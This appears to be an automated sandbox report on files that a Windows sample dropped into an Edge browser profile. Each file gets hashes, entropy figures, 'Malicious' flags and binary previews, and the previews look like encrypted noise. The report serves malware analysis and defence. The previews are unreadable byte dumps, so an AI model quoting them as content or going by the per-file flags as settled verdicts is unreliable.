SHA1:	C9C59F3A1C63A7177808A1B333DCBB659AC3D68D
SHA-256:	9A8FF5C547AEFF273CB898FCE06B3688849779BB36BFD50ECC1C314DB77CB58B
SHA-512:	7580AD8E63C09B59A1B9A36B6544A8351A96FFFA734F2CAD3BA2B94B48ACD8BFE6DDDDAFB12C904E7ED992C586303EB9E2D14F59DE4108EA2239694A4BD20609
Malicious:	false
Preview:	......f..d..O.V..UJ..v...c=8...t.....z..j..,.rt.Y._...^..."......_eE.f6.).........e.N';.....r%C.\|......%3$..r.q..l......r.Si..G#...E...^..x.;.......G....~~R......$.O...A..N....i.p....l.33....K.}.EChX.M.S....$..........jz.2..2...;K.V.<...@..i#..(......h.Y.}/..6..X......'3.Z..bE..v..q...p...v...6..tQ0c...Q5O".~.!...R.....,C:...[../{...Z'.p.#m..4....k2F...G.l.d..0....#.Z....6.....&c....`...m[...]7,/YH.b..g......+..?.).VK.....4O......0..o}.b..kl....xn>..:..sEz....F...KA.......P.......k.....KZ..fg... 3&.....I.r...L.....*......V..#.aO.,..a^.v..>.JU.T...u.._....).M.....B..hH/q...R.Id...a.c.Q^.K.>}..3..(ef(k...Ms&x..g.........y.PZ\d..o...G......MI.L.].w......!.Y.\|.W...`.t:..B.@../....&.w.@...Du...a.y...)k..s..Q...?.5&..D.Rbr.LL.@W.-7?b.f. .(....H.!..h,....&.....&..8l...8.K%q......<..A..D.y(+U....]...E..R..>[]d.%+}...@...p.D.sft..`.w.=z.g.t.@.O..zs..}u.Z.+n)8.....G.Y:U...........r .....&2a.r...!..3D..A.:.p.4.Yd...U....6...b..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	480528
Entropy (8bit):	6.570086293828092
Encrypted:	false
SSDEEP:	6144:0alh8Qxehhff+WGGBmsIRtTuzpZ0OG1yJG/dKWW:HhRW3BmsIvTnpVW
MD5:	A5C6A0EDEFDE16072C0AE8910F7533BF
SHA1:	64B107415AC2F10C0E1F90E0C20209580405BC12
SHA-256:	117C2B4B7E72E6C07EDFAC8A1668D8920991A725AAC56E6A2D3CA28C96076DC6
SHA-512:	418E08A39752DA9DA17FF51328930ABF8810DA1284641CA460DD6A0054CE0A2230C63A8A5E0A30005E3FC6BCF1089AE4839036F001EFA8DCDF128595AD09D582
Malicious:	false
Preview:	...m....MH>z....$.za.@.~..C....6lwD.A..J.........O.0.T~...&Lx..W.h5..{"g+....&..L-.=wO.....8.....2.=.Ri.#..F.=..s{$'. .\|!.....D..S.%p^.....#.YL3....j...H...\|..$..2....K.'{...q..X..dR]...k..T...1U....y.1........w%D.l.....+.....7......9...J~1.......w..7'mXj...@.j....G..9.l8.,.... bK?.9..^H.[.Fg...[].k..9.'...E.P5...Z...h#?e..<..e.........n..\|SIN\|.%..}.qe.q...I.2..x..S;..&......6.[.+@...^...k..a..g...~.g.~2..)7..29.%.A1Is.G}....`89K5.39..pAc%..x,.............5.q.mM.A.Ueu.V.&..6o.Q.H..g..-.A"!y..b.S.rV.E.\|.r/.O...^V4..H....JS.2...M.....N.....k+.n./.0F...v.......bj1......[.......tY...h.D.AO.7AX%.<.K....!.........Z...S\./M8.e..~H.".W...L+aIu..91..m>.w./.\|.r..v.y6B....[R..U/s..9b=.L....b.'...$...3.5VR.. .L&.....W.MY.u......WZx.(I..l.....KO..r......(.o.F.J.U.VLTB!.wG7..9....B........;...q._....7.(G.!!.\#L.X......H.p.....Off.........sy~.4<.N...'..<.P.T.v.i.\.-m...7`.D.....i..f@..V.c...+.^q7 x.i.....^........Zj.h.8.`....L.c.<a.Z1....V.v.]...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	674
Entropy (8bit):	7.635747000250805
Encrypted:	false
SSDEEP:	12:kOyDy7yX2WdAqXm7pNcv//XBcJFX9LgviH4NTaCM8tYsvw+qSL90UGixpZacii9a:vs4A2WdAwm7C3BMX9LlYIC73RGiTkbD
MD5:	F08DDDC31E9AE7E311288F3FBADC049A
SHA1:	0E790CE66BD54E5CD3DDADC9381FF958DA68C232
SHA-256:	696C5DF85CF2BB35FA0A10C79CE67FC7B13A1E99B09CF6841D8FBBB8CD9ABAB8
SHA-512:	E4922DF9970292350347BFA1BB07E65F4A583ADD1C7BB0A4A77A4D32CE5A285D4E8343C7EEF100EC51FB3B25B9B50807B183597D6189EA38A91DC182530C0450
Malicious:	false
Preview:	2023/k6.R."....E......V.Ow....&~+....8.#....B.".TG.Z.4.TVx..(.f......!...MZ..#v.....C...Gy.....4......R}....2..#.r..P6...E.x.o....Y...8..L7...6-....."4.....8.....J..JM.{..(y.M3Q6.Nl(Z...=...... PD...#>S.......^...y.......9.nzi.W.[;..K..Z.ZOW../...4....j..~...D.W....VuI.....H....r...I.4..1....2......./.^...:..G...;...X.y<.x.^.+:.z....]......z.L^.k. ....y.=._....M.2j......o..........m.........}......m..1q{_.b.y2.q..-......r.j......3.ufK8.5.E.......X.vNx...\|.....bp.pO...;).x..'H............_..uGR...3..6sc..`.~.g........W.....w....;d.&Xj.z...1..JqWp.I'......r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000003.log

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	367
Entropy (8bit):	7.285071710710621
Encrypted:	false
SSDEEP:	6:i7qYHprxC94KtfoeEN0HzmlVeWVPuOINd2HBMFdlNqLMKdZjGxssZacii96Z:mJrxC9fxPEN0iXdIUHe0ZixpZacii9a
MD5:	1A8DE0CF93BFC231FA6CC038FE9D9B3C
SHA1:	48411E4C09921D0E83E10F13871BDB39740D2C88
SHA-256:	D9D8656A52A00B49F00ABA1C9A3E1369FA763A4FB21858E70507C14468C2902F
SHA-512:	C0C03C719021A7F812CACE79283D03534389A7B08807C7E8CA340BCFC1721CF1F4A6B0CF763F880A4D13E91A3A4647990929D57E1C1359018AF18BF3F4CC46DF
Malicious:	false
Preview:	...m.+j...s...O.$..d.~.....e....2.+.WH..S.....JoRW.3.....O.q.D..q./....S...i.)Z..c..nO.v.k9...@.^J...].....K..a....`@x....U>f~X....p...x.{hlC.....h...N..D.dE..F.L...K.9m......7...h..Z.......V'.....\|.W..I."..`...a.:J.m....E.;.vr.XF...L.1&.%..z...v...x.a3@.m..k5.O....?.Hz...Y...r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	686
Entropy (8bit):	7.680258932020237
Encrypted:	false
SSDEEP:	12:ku9OMVyTlXNs/At9qUEUeRpDOGuGwaqfDXFwp7EnwQ5lfZX5ixpZacii9a:rxVqlFEUeRpDKGwbfLFwpcJ5lXiTkbD
MD5:	AD27398F08BC95EF0AAD2E70823FAAFC
SHA1:	FFF01888BD2A8D59CA284AB8BF46088C9C26D536
SHA-256:	FA12DEDFD29F75AC7407538A704A8F9D9C77934983A5CCEECC61857E664C7096
SHA-512:	6D9AE73D457983C386CECB2A1ABE785711A376B97E703A85E56274CEC137E5A81816CDC20CBC0E6C87354E9291FFCCCB182A7DCE5EA92C477F1C654F707A024B
Malicious:	false
Preview:	2023/.k(C#0z..'....,.J.."..........e.SP..`E$....%.(,...._T~.z.O.@.C..^...d...H.........8'...\.E..Y.}.(.b.^....._.,{.td...y..CX........,+..\|..\|.1...W....rd.P..w.-..Y/.BF.r....+.....J.m..<.t...........=.>\|p.}o.....m....f..\|.1....6...:...2$.....^...........'U..;dI.#....Y....\...r.?2W....h.w..D~_..:h...c..,.=<_i.8l...Dj)...Cf..YJ.......9.%\.z.V.........,M..g{.K..=......5J.s4.t4.qp.9.".....!f..l.2...E../.]5.....@ow.(..G..4.L..b.J.o.....B.z>....=..j.S6.."}........i.*.Gd.{.O....3....(.K~...7....8...4M...F.{..X........iO...N3.e....+,.L....4...6y..Nl.6...........@.-.D.V...LM>.:L...r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeEDrop\EdgeEDropSQLite.db

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.993944141790373
Encrypted:	true
SSDEEP:	768:10Fi914LPYnFvMEViZgZRcJaFZ592Od86jpb:uFiMYF7iWZR9MOd86p
MD5:	2F511DA45B699AE7733C5A2DD769245A
SHA1:	2340EA11F0310168C4E140B2CC16B93F3324EF0E
SHA-256:	2E2C082F51CB6DD36B65100C19756A1A8ADBEEA1623D7BB43BE63DC9AEA65708
SHA-512:	B24B706E4E8B8A0BADCF7795FBAF320D861E250C1406AB01D92F01AE43CD5DE7F34EAB530F839509EF027C92A6DA8D760A477B2FA000BFD59F1846BC5B88DE88
Malicious:	true
Preview:	SQLit.8}t..n....#...u.H.gY....).~...\|A".[..Lx..au].f.F..................V2.......V[....^.^....QU=..\|}.....p.....l..b~...'T..!5...2.]..}gLm?..bD1f=h.....>H7T..o..C.'.....P....,.).....eD.\|h.....s....!...........q.H.>......(.h.Q....-.P.....X#....eS.e.....T..x.Eg!....0h...YH.......`WS.O....v.K2.up.GK.~%E.s...<.. ..j.N..,}..q.p.#..;.<^L....XlC<.v.Y.FW.c.^.....{...A..=..[.e.eR...40.4`"......;&.../[^.......r.pi....[.x3N,O.<.z.E....pV.ui......^.4W....-..U!..\Q._...d$.........fe..7..c...B....L...c.Qe.'.B~BXC..I.h..pSKG..8......>.J.%lt.-.a..Y1...........]..#.zz.!#..N"E.5..;....*....O....!..[+.{.o.......c3.I%.._......c8...3.w..P...9...gJ..l..%`..8.8RMv.A..#........V.5.%6]2.6..aP..hw..:.....,.'...9K.j6y..h.Y+Pe.5v....k..J.0..C ..>.M.E,.+.....Q.L..l...}7t.}{.$.S..9..-9...@..X....G\|..........x...dN.V..7lw5..$L....T...Y..}..<].....y...fD6..'.T.../E.....+'. .I..`}.I.....U....@Y`........7......O....8..-.:...o..\.._..q..)..WN.y.... ...#!..JjQCg.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	662
Entropy (8bit):	7.661162272449359
Encrypted:	false
SSDEEP:	12:kY27doJEeXSFtqTSzZdx9/mVUDDUzVjWZAxEBX479DzLTEyZMixpZacii9a:B27uyeXvS19/mVUD6Vnx0U/8yZMiTkbD
MD5:	85AFC4A4B3C86AA20AB7F531BE7876F6
SHA1:	65652D2BEE0BD75FF2440690FE3B9A4D0D0C8C29
SHA-256:	9D3A8D840A9FBF7B668ABB2778E1842E50F7FCA4A106D006EBAEC0519E125818
SHA-512:	66D9E6449AB16309BA2EF3694111960325C03C5F4B2734ABBB193A9302D54BC3347DF667A29884684DD3882343B6E3B74380AAA98473CA140FFFFD29843C382F
Malicious:	false
Preview:	2023/.....c..U...t...j..S.O.R....ce.........R....X...?H..!.6T..Y.R}.`p...P\|..f=..is....M{Zh..rS.#.&"...;P........s......v......U.....Z...P..*..$2..J ...~.(..v`.r...\|%].....Q.E..A..^.wl......-.q&..:..o...U...<I[.s.D1..9g.pN@..jb....{........).i.b.X\|p..0n.A..6j7.t.~...l.].yJ....O....p......'I"...3..Ws...e....9...l.0w...M.J...i.g...&..u.=...?.v....%~...[......e...Y.=1....^.Zn.4.....~.M............_.K..SPG...c>.Z.....?ow.t......'..w.t.s.i3.../p!.M.p......&.R-^.o%.`&...k._:.+.2.n=.Q.n<....p.t...\|...d.)..t.F<...5....sq...}d........fIB....n....i...C.w.%..1..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\128.png

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	5316
Entropy (8bit):	7.96295107670828
Encrypted:	false
SSDEEP:	96:CPgWtlYnb60kod+f9asbvLPetBJYoQVNiOq/Vxq9X87OFoesKJIt5eflmtSYr:CP3tSblk8EvL6JUiOg8gM5sdgfO
MD5:	6853B5888BE11C80E096DAAEA7A883C6
SHA1:	6F3096FA7BA666813AECFD45FA96DA1F751BEB76
SHA-256:	4703E36830182823EF5CF1AA6424610E735870E451EC3D353747E03B08F26C7D
SHA-512:	8A7AD74994A234669BA424959EA9F41059417D8E4AAEB33D99DAD141230527930B1D5417059882D76639E92875DA8A937D125AA7E1FCD913E96C94538059770A
Malicious:	false
Preview:	.PNG...\|>..(.Q.......n..$....5.L?P.#..q..X...c..Y.#.(...6%.......ny;.m.@F.0.8.9.0.5....S.CpGX.3...7....%..t.\....& &._...4SK..'.`...D..?(..b.V...Y...`FBYL..#H.^D...p.#d.R.RT\|...K}_.N.....#...>..H...1d..Q.Q.k.^"..........;....n3..\.:(..R.!.y..U.Z.z.d.U;..d....,D.v.a..p........a.._6$k....Qi..h...J...AmJ....E..3N...D....X$...g..g..%S(.Dw...m....~..M.....?T....xm.v...>.........{....@..b.Y.9+..M.+..^.d\|v....b.HO../../.....T?[.2.....Q.H.AeeL.6.B..../.B.Z U.2.?c=.(...D..f.....I2).D......%xQ[T0\|.- n"u.54f....H.BKI.....5.x.>.%.\...X....pT..na..!...@S=..}.f.(.+.ms.].[....^.U.T....Iz.;.E]s.G.6..Y...qz.a.^..E.}...e~..,.F..%{...Oi...I....jU.>...wrP...a.`..-....pu.@..z{...=.......k@..u.H..75..u....f_IZ.y......~.....dVo..%..W....$...w.@...=........10..a.1p.w...{....j:+.....s.....rH..n..w8...4.MHX.a..TC4..Ok89~......7..2......^.uL..R[.....L.gU..P.......Y....m...4xL."G.ve/.}...b/.a...s....(.z.k.....r?.........p.'......D..v..C.p.3.C.6.\di.."..IZ

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\zh_CN\messages.json

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1213
Entropy (8bit):	7.8415239724838
Encrypted:	false
SSDEEP:	24:VfXSUVOgOXvwVKJxenOe1i7jA4s0yIhlXZ3vi+StII552JspyaFiTkbD:MOObfwuensy0yIhLvisIJpy5iD
MD5:	33A5D83B5C5BEC92A4D827CB2F974BB4
SHA1:	E93B1B220220471806F566E71915574885B4B2E1
SHA-256:	B980873B57A2FE088B13BBE258A17F42810C6C7AB0B638F8F0E0F7E404340D62
SHA-512:	09769EC3647730E5A94E2F7C8DA2C9F946D70ABBA1BB6110300305C69AD5C6AF09D856A986EA9A7F3F5E248C281A1E92E0D22BA94BA68146BB157BFAD7C599AA
Malicious:	false
Preview:	{.. ...~0U...4....^.@B..kgkgF..UL2......<....Q...5./}..m"'...gJ].d?.Mr.j......@U..(x.).L&z...~s.{..E..7r5..V..]..j"..t...{.SSM...:2Z$..Y4y.\Q\|.7......R..........x7;.n......t..<.....ew.\|....).......seL....1..Ax?}.....oi9js..'....Z.#.)...}.....w.j.]..!M........NT...h..#.QedX.h..V..!Bg.B.....q'..._.Yd.}I.=..md..M....iE.H..}....%F.F#....Y..Df/f4.f.h..Lnu.OpP....uwj.aDr..v.^.,<..<.......Y...)..w....g............6. ...m.Z.Re]...'Vbm..Ba.3O.....'...qh?..7..K.Sh.V.41..?..;.....`...d..D.....LT#....$..Y.Y4......sOJ..[.......'...........)6.....mb.\|.Np.D@".Y./.....~PY'..1.(...<+.k.<.ai..06Z.k.._s..e..........J...D...{R.<..L.....W...]..o......(...M}.....D...&H..<?.sU(.........U.t.h......"W..._.&.V.$](ED5..Q(..$.v..N....7...d...F.9.......3Gc.{..i6;........Q...p.......... l&..)..k..#.._a.wlz6...1...:..NJ..2.>.}<......F;.J.M$.....e...I5...M.....7..-W).....2..h:&.Bb.5..._@...8......e.e3...z.O.^..#u.X=x..`...O....{.~.@@=..._Vj.R..\....+p.j

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\zh_HK\messages.json

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1539
Entropy (8bit):	7.879938608718915
Encrypted:	false
SSDEEP:	48:YxQcxKWHXDyH0dkunOn7PJqun2eJT/siD:USU+Gkunuhqu2etT
MD5:	92B744D19F0258A5355C4D031F8213BC
SHA1:	43F39212AC6ADD4141015275BEBED637388A97CF
SHA-256:	F1A8D01ED2B6546BEBDEC5DCD068D704FC5502D33E0016C517A271F83B3917C8
SHA-512:	80F5480933638BA9FE6F5E1117DF814BF91962B1C9A83035FAB4FBF6E3228F064885A423621D9F86E0671B8E798D1812BDF7C47783900CFF4C2966994AFDDD47
Malicious:	false
Preview:	{"cre...W...W......c:iQ....&....L..p....[.m.l.R...JVJ..Y.....S.L..~.n...#.....Y.%..Y..D.........uif..n}1.h...t@.>...a....].....IE...@mp.K.F......9~.)......$.G7...\W....^d....l`(.Y<........~..e..F_.^U?...t..}'/.....>...7.,.Xa........Q.......K..q.uw.....+{..^D\|..=..m/..f.N<.....]...0....2#]t\....G.xJ...d..zy.&.G.O.J..$.?..l%......^......hmCq.A=..Y.?.w_>-gh.\|-.!.....t...$n.v.a...l:...>...Jd.$.....$@ZI..z+7....R\|?q................i!.OT\|.._....8....cf....o.#d....6i.rl..k..#.....wM.L...o5f...0...7.d..@.n.<6X.i...D.g.....3B....!no..k..9..-K.Mi..X..^..bl....fKH....\.z0.4...@.;L.Vc8@...q...W..CH:#.......Z.."..c.h..".....v...1A ...C.>\.N...?.%....?.JW.q@I?....Cc...C.F..].&J...W'O..!......3w...R.2...~.0....v.1.z6..U[..nW....B......U[.p)`.:.t..^.H\../..m...<n..g.t.c..'.Y..b..0....q:...............c=/l..O..7.5....b %.t)...nn...GqZ,2..U..T.LZJ........_..5...h.[..........:.YD.M.x..j....'.1.r..4.e..JEe;..I.....,.....r.9..F1.<..;b....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\zh_TW\messages.json

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1177
Entropy (8bit):	7.8146740579538365
Encrypted:	false
SSDEEP:	24:dvJGXoa3kEyvTrD93yeBY7k7VWChYhJNvSX+PBp5UskaZkiiTkbD:d04bTrD9CMY7YHhYhJNvSeCsk7iD
MD5:	267B630EEBFF3707FB0F338BC1C51DBB
SHA1:	C95F7FF17794ABA8A1C3F0A17982D81888CB5642
SHA-256:	B9582A7CF97467D4F11758E08A3AFD312776C6487B99A76EA32F5A23A977C3BC
SHA-512:	285BEF2DC7E0A40696828A6EDFBFA34B8EEFF2941BFE1B2D27144E4F84F0CCFF79BA369AEE26737B1F89EDD832EB7138F263C260B01C727A5696D1040FCDBC9D
Malicious:	false
Preview:	{.. .........o..ta.g%.d.}......+<U.z4..s...d&..3....nP..'.V.....;.{\C....3..tj l..`.q......t}...0.h.+......;.K.#...S,........D.o&.jDm...g...F.I..j.w...{..,...z,u.p.nR\o..:..X.v........>.... ..M..#k.L.\|...T..;~...\|-...J....+a5{.......49......@ .....?...V:p.7..r.fl......`OdTc...GTzY.......5..v....&iX..;..u.............M;.+.$..K...F....XC..._.:.....U.A...u)..}.7..;..h'@N]....;....~.....0..Cy..\.+w!(...6+.5C./y.5.%..H,.[...]..B..qV.e.0n.N.C.......l...7.l.)s.G5..8L.......b...2-...g.Z\|z.L?_..n,..a#.~....h.....R.Nx....3.X....J6.eb5..!E..l/.$.u..i+.....i..j..e-.z......09F`....'....^....7..~.~...3K8...f.P..v.\|.j.z.d...xq..f.P...{..bQ....>}.u..+.....9.F...(U.....V~.<..I.....R>w..c..Hsj...9.7....sv.^.$.O..l....)e...b...5..!...\|d......>"...........;%p.Q.R..i..}<_.......G3X.w.[.7B3.[.7j=).......q..B..Yb;\...[@..L.:..*Q..X"...M.....p..=.....3....hBg0..(........O)..B...9'........,}9.N\.U...,...\.>M..%3&..=.H.1`O....N...8.z .JA..j..Bq

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\zu\messages.json

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1246
Entropy (8bit):	7.826608427874166
Encrypted:	false
SSDEEP:	24:Y4i+1x4uhytK0y0yASCp2MKBgHoVQqr55eaX4oGCD/uhS+SdiTkbD:Y4i+ZBYVrkg3qr7X9/H70iD
MD5:	0F8CBB4C52F083FB35A5F13BD4666105
SHA1:	248F8C51B6552F79FAE5A42224C691113D4952A4
SHA-256:	68453CE3FD7932F69DF906866156D852AF1910E5E8ED5CDF846E4A15CC80B48F
SHA-512:	7FED2E003561EB55F6C191FC72A44C5910EBE148B96C3093C81F971D02318C3DC2DBDADB99150F411F717EF024A28E301DFCADFE3A08C59A987F37F1A3FA5F22
Malicious:	false
Preview:	{"cre........p.6.<...6..q)......oJ.!8..c....5J.A.....Y..stQ.)z../ ....z..!._v.;s.....zd..Yr..........?E..D..W.\|z........[R......%]Y....!...G..1. <).......<_gp..%.8V....{._..d.OY.O..g..3....vT.....uxg...u.*Yq....,.D.c.Gw.fo.+."..0../73.<.......K..k.x..{p...`5}Xn...........G....d.[.....G..e...-......g.>.Aw+._I...\....C..!t. B...x..z.@..]..uj.ch.....^."...........f...f....W.@...e"?WxJr..[..?....Z..PMR..f......I......N4.....W..O.......>......#.'...v...e#uoN...._;6%..y....!:.Ox.=..l>[f]...../c[....u..Q:.v......w......cC.Ae.....;..].8.4..U.}AM..Zg....+......E.k..........K...>N..0uPA.g2j,....kl..A.M...I.....<.^9.}.9.....c..1o.V0l(d....H.#...4<.[.....5..{..G.}....B"4....z.4...m$N.e.qf.....t.8....l....]...3.i..O.Q.... ...._;c....%Bn...O......(....h+......<F.A..G.j.lo. !..h.8..imW.C..\|.\|...[.W..k.? u..4zYP_....~.`.7..m....;!$!X..qz.U.)....3.......NI4!S.d..._d.%.Z..`..0.jx..$...].^`9-...)Ra...3.#.}..TUx5.7...Z..w.....$...D.gfP...C..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_metadata\verified_contents.json

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	18852
Entropy (8bit):	7.990147948848888
Encrypted:	true
SSDEEP:	384:yW4xMCFAUe94cjDhUPYOZTjnASovVjQKAfl/H5uEKNOhNAa:yW4iCte9RPeZTjn/aaB5uj4fx
MD5:	6CB0871AFA6A65B61F1DDCA21BEE4C46
SHA1:	C83DD037EC6D3286F705FCE05333A299C62521F5
SHA-256:	563A52FE614F75F80D044DB2750417CE34C974DB0DE9750509D632245973CD3C
SHA-512:	585BE07285E9957F067D839F45B4D67133DE0B27ACE82113943B98717A60A43E1C621E8F98142794CD2096004B8209AF80E7FE8B91352315D8C0221296194ADF
Malicious:	true
Preview:	[{"de)..?..,....@..Zu7..S.=[b......,...r...g).J.c8...=..Bg...>..gB."..../!..N......fI}....@A..v..,.o..-1.....v...b..7..l...7.6=.....MLn..p..A1.~.....:...}^T.!.Og.k5h....g;.x......i...X.R..K.o.z5..M&8z....+.<:@..D.+.y,...U..%........5\....T.$.19.M?ow...c....zb.e7.......h........#...e.G.....q..^/\.3\.dV9s.@..D....e.;9/.w.W.#a......t...+..B...pk%-.........D.O%<.%.......s.,......(\|`.Hd...d.9..T...I..1........).R/.....'..X.Q...I..."h3:.}.....rW.;....H.W...}.Z..kt>C.Z...F..o....[J. .f.!w......p.Q\|.p.b...6...e..>a...P(..s..'....0..H:-.o...;6.\....!.............=V.J.....N..!.?..{..J.....&E9N8.Q9..Te......Xu9.:...s..P......,.....3b..k.B..w...........\.)..SZ.Gm)....Qf~......~h.!8...?9]((aw.a.9L+.h.Q6....H.......P.T^.$.8X.%..W?..w9.KyI9...7%..d..[.u..n]..1G...g...9.^.<7...^,.JpM@X '.@.BD..e\.q..m..:.h..8.h6]...NT.vI.9.".k..X$..D...o.0.....U)..aZ...._......... e...F.Mk.Z.R....V.4nj.,a..S.%].l9.S.V.......^....f>j..[......n."....X...8..i...#.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\dasherSettingSchema.json

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1188
Entropy (8bit):	7.841485803409494
Encrypted:	false
SSDEEP:	24:xbMVn+Tl36/Zv76n6l7UfA+1lmIcSU15tLPWRYq3txpi+Uao7ieiuUXp/iTkbD:ZMwTtgc6YfAQcSk59gYqo+XDhIiD
MD5:	AA97A5F7F46E1C5AC6004EF90A96289B
SHA1:	0671389023FCF3D78E886475A1E72F4FC92792E1
SHA-256:	E572A15DA7E5C926CCA164E6414A896B6D476BE182A0894025CCBE8EB53BF0F8
SHA-512:	21CB5227C3FD0CB6835843CD15924E8E23DA150EC418295CED2F417C7E1B55237D9559303F60EC9373C2A6176C3FF0E2128C9433E3D5307FEAB868E61AC4D022
Malicious:	false
Preview:	{. "d.9}..\|....N.;..#&..C.%.eZ.[.^.@..^Q...]..v.........sMj.ST.`.e....BF....1....H.{g......."<.Q...Z.C;...c..e.).8...........1.i...E#3:.T....ax.....).....E...Z2....d.U.....B...S"z.9v..k..0^....6.Z..."'..F..V>2.U..^.+..<.\|3%..7ug..,.W..;..y3!._.<.6.......w.......E2.....M\Vq.....-L&..7..)..&....)kVP..oFH...{...C.BZs....K..[BIU.Q5.n.....@`}..lS}.1.G"...(..Qd. .C...we..vv..l:..v.r....S.#..D..m..F..V...xh4..OG.]\|.q.=}V..ds...ut`...t#{c.Scz.<.[(7Z\..N.$.......8...AzC......r.U.....]RE.N:..r.'p..D..5..,M..."..\.!Gr..J.q...........YY.:.[,.f..*.M...Ed.V,..s.w.M..I?...H>...YA...b._.K'....+K.p.g..$.d...j.U.Q.Z....ID....5@..U`....,...N7....O.i...">..'!.0..WZ.....C.....S.k[... qe..7.0..a....\|..K.~b.....c..az...\[/.....q.:A<....V.h....U..$~..`Rz.(e_..3..if....=....-%..t.o.;.[...&....P...w....&.A.V\..g.G.!.V.."..}.....(....\|..qq.....t.....\|. B..[.X.\.b...U$It.<.U.#.4.l....-.....9..3..34......F..4.... ]F;.-......OG...K...'J.8..\.8.J....n...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\eventpage_bin_prod.js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	80603
Entropy (8bit):	7.9976956136163055
Encrypted:	true
SSDEEP:	1536:lixvbaXKCbaykamEq+hiNvEYXPMvYp8ZeUWs/DgjFctuVnU:AxbubaFJ7N1X0u8ZedgDwykVnU
MD5:	4EB41A32BAF249C2E6996CE4F15EA18C
SHA1:	EB097F7F58AA907291B1CCE2A17684E5BA30B627
SHA-256:	FC19CAFD67913D66AC8FA2F8A17DB83B695E404D150BDCFFED3083F4B4F060FE
SHA-512:	47C905266C44F255CFFC67BFD454859855B75A0D3BFE3D4333F75AAC6362957D21E3BB6E171A0E6A9E9E69E91E1133DAEDD2FDBE43DEC6D61BD72B36FFC36FBB
Malicious:	true
Preview:	/.. .;.LB7N.T..KE,g..C E.8.............OJ.....l.$.i~.o..,...(.&..\|.w->.......z.g.c.1.K.1..S[[..#...(...kqg.S./.C3.-.C.1.S.a..GP.R..G@#Ui...6dOU...\|..`..r...>#.......[.ym..57.g..0(.....yIb....mAW.Z.g...#..J.V.t...h.sW..%-Y..I....E...s.c.?..= .....{+.......h%......X".....?......a..L...9O~6b..</........7..z...<y<........O..........].[.``."...t..[..+\H@...6...\|..a.',h..O.$.....C2L..3..PX..J.._.7...............L8........&.j...%...nf)...B..B....7....8.V.q]N..............@.........\|......Y.K......,.......P`.....~];....C$..}....;g.......S...$....:..[.....r.j.......+....."lPu...5=[.0sx.0.Q...3..E.4....F....Ra^E.........k...Xp.Q.Y.Fo<k....V..1..z9....h..qi..\|.c......(.,...@Q...l...V.B......Yt..#...3...{.V+!KTu\|..V....2.g.z..P......;.S.^.Q....Q;@[.:..3....o.WNs...\.k...n..h.O.....Ve.......m<.Bj.)...3=.Jh...~.;...,....._.tb...:....3.....D`.>...F..H"L.z..i1.+.=.V..G....m".:8./.....2.ji4.o..q..../@hz.. 